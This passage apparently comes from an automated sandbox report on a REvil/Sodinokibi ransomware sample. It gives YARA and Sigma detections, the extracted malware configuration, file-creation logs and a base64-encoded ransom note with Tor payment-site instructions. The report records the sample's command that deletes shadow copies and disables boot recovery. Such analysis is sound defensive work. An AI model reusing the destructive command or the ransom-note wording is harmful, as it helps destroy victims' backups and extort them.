IABbAFIAZQBjAG8AbQBtAGUAbgBkAGUAZABdACAAVQBzAGkAbgBnACAAYQAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAhAA0ACgAgACAAYQApACAARABvAHcAbgBsAG8AYQBkACAAYQBuAGQAIABpAG4AcwB0AGEAbABsACAAVABPAFIAIABiAHIAbwB3AHMAZQByACAAZgByAG8AbQAgAHQAaABpAHMAIABzAGkAdABlADoAIABoAHQAdABwAHMAOgAvAC8AdABvAHIAcAByAG8AagBlAGMAdAAuAG8AcgBnAC8ADQAKACAAIABiACkAIABPAHAAZQBuACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlADoAIABoAHQAdABwADoALwAvAGEAcABsAGUAYgB6AHUANAA3AHcAZwBhAHoAYQBwAGQAcQBrAHMANgB2AHIAYwB2ADYAegBjAG4AagBwAHAAawBiAHgAYgByADYAdwBrAGUAdABmADUANgBuAGYANgBhAHEAMgBuAG0AeQBvAHkAZAAuAG8AbgBpAG8AbgAvAHsAVQBJAEQAfQANAAoADQAKADIAKQAgAEkAZgAgAFQATwBSACAAYgBsAG8AYwBrAGUAZAAgAGkAbgAgAHkAbwB1AHIAIABjAG8AdQBuAHQAcgB5ACwAIAB0AHIAeQAgAHQAbwAgAHUAcwBlACAAVgBQAE4AIQAgAEIAdQB0ACAAeQBvAHUAIABjAGEAbgAgAHUAcwBlACAAbwB1AHIAIABzAGUAYwBvAG4AZABhAHIAeQAgAHcAZQBiAHMAaQB0AGUALgAgAEYAbwByACAAdABoAGkAcwA6AA0ACgAgACAAYQApACAATwBwAGUAbgAgAHkAbwB1AHIAIABhAG4AeQAgAGIAcgBvAHcAcwBlAHIAIAAoAEMAaAByAG8AbQBlACwAIABGAGkAcgBlAGYAbwB4ACwAIABPAHAAZQByAGEALAAgAEkARQAsACAARQBkAGcAZQApAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlADoAIABoAHQAdABwADoALwAvAGQAZQBjAHIAeQBwAHQAbwByAC4AdABvAHAALwB7AFUASQBEAH0ADQAKAA0ACgBXAGEAcgBuAGkAbgBnADoAIABzAGUAYwBvAG4AZABhAHIAeQAgAHcAZQBiAHMAaQB0AGUAIABjAGEAbgAgAGIAZQAgAGIAbABvAGMAawBlAGQALAAgAHQAaABhAHQAcwAgAHcAaAB5ACAAZgBpAHIAcwB0ACAAdgBhAHIAaQBhAG4AdAAgAG0AdQBjAGgAIABiAGUAdAB0AGUAcgAgAGEAbgBkACAAbQBvAHIAZQAgAGEAdgBhAGkAbABhAGIAbABlAC4ADQAKAA0ACgBXAGgAZQBuACAAeQBvAHUAIABvAHAAZQBuACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlACwAIABwAHUAdAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABkAGEAdABhACAAaQBuACAAdABoAGUAIABpAG4AcAB1AHQAIABmAG8AcgBtADoADQAKAEsAZQB5ADoADQAKAA0ACgB7AEsARQBZAH0ADQAKAA0ACgANAAoARQB4AHQAZQBuAHMAaQBvAG4AIABuAGEAbQBlADoADQAKAA0ACgB7AEUAWABUAH0ADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOAFQAIAB0AHIAeQAgAHQAbwAgAGMAaABhAG4AZwBlACAAZgBpAGwAZQBzACAAYgB5ACAAeQBvAHUAcgBzAGUAbABmACwAIABEAE8ATgBUACAAdQBzAGUAIABhAG4AeQAgAHQAaABpAHIAZAAgAHAAYQByAHQAeQAgAHMAbwBmAHQAdwBhAHIAZQAgAGYAbwByACAAcgBlAHMAdABvAHIAaQBuAGcAIAB5AG8AdQByACAAZABhAHQAYQAgAG8AcgAgAGEAbgB0AGkAdgBpAHIAdQBzACAAcwBvAGwAdQB0AGkAbwBuAHMAIAAtACAAaQB0AHMAIABtAGEAeQAgAGUAbgB0AGEAaQBsACAAZABhAG0AZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=", "nname": "{EXT}-readme.txt", "exp": false, "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA"}

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
NtJd0gjCZE.exeMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x3f3c:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0x86e2:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0x8cce:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0x7f07:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0x86d1:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
NtJd0gjCZE.exeJoeSecurity_RevilYara detected RevilJoe Security
    NtJd0gjCZE.exeREvilREvil PayloadR3MRUM
    • 0x17540:$RE1: expand 32-byte kexpand 16-byte k
    • 0xbc30:$RE2: sysshadow
    • 0x107f8:$RE2: sysshadow
    • 0x14470:$RE2: sysshadow
    • 0xbc50:$RE3: SCROLLBAR
    • 0x10810:$RE3: SCROLLBAR
    • 0x14488:$RE3: SCROLLBAR
    • 0xbc40:$RE4: msctfime ui
    • 0x10804:$RE4: msctfime ui
    • 0x1447c:$RE4: msctfime ui
    • 0xbc60:$RE5: \BaseNamedObjects\%S
    • 0x1081c:$RE5: \BaseNamedObjects\%S
    • 0x14494:$RE5: \BaseNamedObjects\%S
    • 0x4e1d:$decode: 33 D2 8A 9C 3D FC FE FF FF 8B C7 0F B6 CB F7 75 0C 8B 45 08 0F B6 04 02 03 C6 03 C8 0F B6 F1 8A ...
    NtJd0gjCZE.exeWin32_Ransomware_RevilunknownReversingLabs
    • 0x5699:$search_files: 55 8B EC 81 EC 68 02 00 00 53 56 8B 75 08 33 C0 57 8B 7D 0C 8B D8 50 56 89 45 F4 89 5D F0 89 45 ...
    • 0x5c26:$remote_connection: 55 8B EC 81 EC 5C 01 00 00 56 57 8D 85 A4 FE FF FF 50 68 90 00 00 00 6A 04 68 E7 04 00 00 68 28 ...
    • 0x1ca9:$encrypt_files: 55 8B EC 51 83 7D 14 00 53 56 57 BB 00 00 10 00 7F 0A 7C 05 39 5D 10 73 03 8B 5D 10 8B 7D 08 8D ...
    • 0x5a7a:$enum_resources: 55 8B EC 83 EC 10 8D 45 F8 50 FF 75 0C 6A 00 6A 01 6A 02 FF 15 48 CB 41 00 85 C0 74 07 33 C0 E9 ...

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
    • 0x3b3c:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
    • 0x82e2:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
    • 0x88ce:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
    • 0x7b07:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
    • 0x82d1:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
    00000000.00000003.207723004.000000000301F000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
      00000000.00000000.207430455.0000000000B61000.00000020.00020000.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
      • 0x3b3c:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
      • 0x82e2:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
      • 0x88ce:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
      • 0x7b07:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
      • 0x82d1:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
      00000000.00000003.207794538.000000000301F000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
        Process Memory Space: NtJd0gjCZE.exe PID: 2696JoeSecurity_Ransomware_GenericYara detected Ransomware_GenericJoe Security
          Click to see the 2 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.NtJd0gjCZE.exe.b60000.0.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
          • 0x3f3c:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
          • 0x86e2:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
          • 0x8cce:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
          • 0x7f07:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
          • 0x86d1:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
          0.2.NtJd0gjCZE.exe.b60000.0.unpackJoeSecurity_RevilYara detected RevilJoe Security
            0.2.NtJd0gjCZE.exe.b60000.0.unpackREvilREvil PayloadR3MRUM
            • 0x17540:$RE1: expand 32-byte kexpand 16-byte k
            • 0xbc30:$RE2: sysshadow
            • 0x107f8:$RE2: sysshadow
            • 0x14470:$RE2: sysshadow
            • 0xbc50:$RE3: SCROLLBAR
            • 0x10810:$RE3: SCROLLBAR
            • 0x14488:$RE3: SCROLLBAR
            • 0xbc40:$RE4: msctfime ui
            • 0x10804:$RE4: msctfime ui
            • 0x1447c:$RE4: msctfime ui
            • 0xbc60:$RE5: \BaseNamedObjects\%S
            • 0x1081c:$RE5: \BaseNamedObjects\%S
            • 0x14494:$RE5: \BaseNamedObjects\%S
            • 0x4e1d:$decode: 33 D2 8A 9C 3D FC FE FF FF 8B C7 0F B6 CB F7 75 0C 8B 45 08 0F B6 04 02 03 C6 03 C8 0F B6 F1 8A ...
            0.2.NtJd0gjCZE.exe.b60000.0.unpackWin32_Ransomware_RevilunknownReversingLabs
            • 0x5699:$search_files: 55 8B EC 81 EC 68 02 00 00 53 56 8B 75 08 33 C0 57 8B 7D 0C 8B D8 50 56 89 45 F4 89 5D F0 89 45 ...
            • 0x5c26:$remote_connection: 55 8B EC 81 EC 5C 01 00 00 56 57 8D 85 A4 FE FF FF 50 68 90 00 00 00 6A 04 68 E7 04 00 00 68 28 ...
            • 0x1ca9:$encrypt_files: 55 8B EC 51 83 7D 14 00 53 56 57 BB 00 00 10 00 7F 0A 7C 05 39 5D 10 73 03 8B 5D 10 8B 7D 08 8D ...
            • 0x5a7a:$enum_resources: 55 8B EC 83 EC 10 8D 45 F8 50 FF 75 0C 6A 00 6A 01 6A 02 FF 15 48 CB B7 00 85 C0 74 07 33 C0 E9 ...
            0.0.NtJd0gjCZE.exe.b60000.0.unpackMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
            • 0x3f3c:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
            • 0x86e2:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
            • 0x8cce:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
            • 0x7f07:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
            • 0x86d1:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
            Click to see the 3 entries

            Sigma Overview

            System Summary:

            barindex
            Sigma detected: Shadow Copies Deletion Using Operating Systems UtilitiesShow sources
            Source: Process startedAuthor: Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: vssadmin.exe Delete Shadows /All /Quiet , CommandLine: vssadmin.exe Delete Shadows /All /Quiet , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\vssadmin.exe, NewProcessName: C:\Windows\SysWOW64\vssadmin.exe, OriginalFileName: C:\Windows\SysWOW64\vssadmin.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5020, ProcessCommandLine: vssadmin.exe Delete Shadows /All /Quiet , ProcessId: 4240
            Sigma detected: WannaCry RansomwareShow sources
            Source: Process startedAuthor: Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro: Data: Command: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, CommandLine: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: 'C:\Users\user\Desktop\NtJd0gjCZE.exe' , ParentImage: C:\Users\user\Desktop\NtJd0gjCZE.exe, ParentProcessId: 2696, ProcessCommandLine: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, ProcessId: 5020
            Sigma detected: Copying Sensitive Files with Credential DataShow sources
            Source: Process startedAuthor: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, CommandLine: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: 'C:\Users\user\Desktop\NtJd0gjCZE.exe' , ParentImage: C:\Users\user\Desktop\NtJd0gjCZE.exe, ParentProcessId: 2696, ProcessCommandLine: 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures, ProcessId: 5020

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Antivirus / Scanner detection for submitted sampleShow sources
            Source: NtJd0gjCZE.exeAvira: detected
            Found malware configurationShow sources
            Source: 00000000.00000003.207723004.000000000301F000.00000004.00000040.sdmpMalware Configuration Extractor: REvil {"pk": "eYI9jfld2wfrBiZk/ABspJesaySH6q+XbmHRQ55NBkE=", "pid": "19", "sub": "100", "dbg": false, "fast": true, "wipe": false, "wht": {"fld": ["application data", "windows.old", "program files (x86)", "$windows.~ws", "mozilla", "perflogs", "system volume information", "programdata", "program files", "tor browser", "$windows.~bt", "msocache", "windows", "intel", "$recycle.bin", "boot", "appdata", "google"], "fls": ["ntldr", "bootfont.bin", "ntuser.dat", "desktop.ini", "ntuser.dat.log", "iconcache.db", "autorun.inf", "ntuser.ini", "bootsect.bak", "thumbs.db", "boot.ini"], "ext": ["exe"]}, "wfld": ["backup"], "prc": ["thunderbird.exe", "msftesql.exe", "tbirdconfig.exe", "dbeng50.exe", "ocomm.exe", "mspub.exe", "mysqld.exe", "encsvc.exe", "thebat64.exe", "excel.exe", "firefoxconfig.exe", "sqlservr.exe", "sqlbrowser.exe", "synctime.exe", "mydesktopqos.exe", "oracle.exe", "visio.exe", "mydesktopservice.exe", "steam.exe", "isqlplussvc.exe", "xfssvccon.exe", "sqlagent.exe", "ocautoupds.exe", "sqlwriter.exe", "sqbcoreservice.exe", "outlook.exe", "ocssd.exe", "winword.exe", "mysqld_nt.exe", "infopath.exe", "agntsvc.exe", "msaccess.exe", "onenote.exe", "mysqld_opt.exe", "wordpad.exe", "powerpnt.exe", "thebat.exe", "dbsnmp.exe"], "dmn": "bluelakevision.com;forumsittard.nl;gosouldeep.com;hvitfeldt.dk;advanced-removals.co.uk;putzen-reinigen.com;advancedeyecare.com;transifer.fr;hiddensee-buhne11.de;aslog.fr;iactechnologies.net;unboxtherapy.site;renderbox.ch;jobkiwi.com.ng;citiscapes-art.com;axisoflove.org:443;autoteamlast.de;atelierkomon.com;housesofwa.com;condormobile.fr;richardkershawwines.co.za;kickittickets.com;easydental.ae;rhino-storage.co.uk;paardcentraal.nl;lovetzuchia.com;pro-gamer.pl;antesacademy.it;leatherjees.com;phoenixcrane.com;blavait.fr;ultimatelifesource.com;bmw-i-pure-impulse.com;ziliak.com;o2o-academy.com;myfbateam.com;sweetz.fr;chatberlin.de;alpesiberie.com;aoyama.ac;bendel-partner.de;t3brothers.com;jobscore.com;encounter-p.net;ravage-webzine.nl;promus.ca;acornishstudio.co.uk;limmortelyouth.com;bruut.online;dnqa.co.uk;signededenroth.dk;billigeflybilletter.dk;nrgvalue.com;boomerslivinglively.com;hostaletdelsindians.es;vapiano.fr;bringmehope.org;eastgrinsteadwingchun.com;banukumbak.com;agriturismocastagneto.it;kiraribeaute-nani.com;nationnewsroom.com;auberives-sur-vareze.fr;fridakids.com;tatyanakopieva.ru;mjk.digital;gsconcretecoatings.com;voice2biz.com;cookinn.nl;ufovidmag.com;kellengatton.com;fanuli.com.au;thiagoperez.com;bookingwheel.com;mariamalmahdi.com;tetameble.pl;kelsigordon.com;lsngroupe.com;jefersonalessandro.com;silverbird.dk;sbit.ag;manzel.tn;citydogslife.com;lmmont.sk;slotspinner.com;sochi-okna23.ru;charlottelhanna.com;koncept-m.ru;richardmaybury.co.uk;creohn.de;bumbipdeco.site;web865.com;colored-shelves.com;ocduiblog.com;ebible.co;basindentistry.com;physio-lang.de;askstaffing.com;finsahome.co.uk;rentingwell.com;adabible.org;gatlinburgcottage.com;mercadodelrio.com;frankgoll.com;tilldeeke.de;mike.matthies.de;jaaphoekzema.nl;shr
            Multi AV Scanner detection for submitted fileShow sources
            Source: NtJd0gjCZE.exeVirustotal: Detection: 89%Perma Link
            Source: NtJd0gjCZE.exeMetadefender: Detection: 70%Perma Link
            Source: NtJd0gjCZE.exeReversingLabs: Detection: 96%
            Machine Learning detection for sampleShow sources
            Source: NtJd0gjCZE.exeJoe Sandbox ML: detected
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64CFF CryptStringToBinaryW,CryptStringToBinaryW,0_2_00B64CFF
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B646DF CryptAcquireContextW,CryptGenRandom,0_2_00B646DF
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64D60 CryptBinaryToStringW,CryptBinaryToStringW,0_2_00B64D60
            Source: NtJd0gjCZE.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
            Source: unknownHTTPS traffic detected: 185.37.70.54:443 -> 192.168.2.3:49736 version: TLS 1.0
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeDirectory created: c:\program files\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeDirectory created: c:\program files\79823d8d.lockJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: C:\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\recovery\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\110\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\favorites\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\saved games\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\default\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\3d objects\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\contacts\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\favorites\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\onedrive\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\recent\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\saved games\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\searches\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\accountpictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\desktop\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\documents\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\downloads\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\libraries\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\music\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\pictures\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\public\videos\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\bnagmgsplo\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\czqksddmwr\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\efoyfbolxa\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\eivqsaotaq\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\gigiytffyt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\grxzdkkvdb\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\lijdsfkjzg\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\nymmpceima\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\pivfageaav\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\sqsjkebwdt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\suavtzknfl\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\desktop\wshejmdvqc\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\bnagmgsplo\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\czqksddmwr\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\efoyfbolxa\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\eivqsaotaq\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\gigiytffyt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\grxzdkkvdb\37g7mqh9-readme.txtJump to behavior
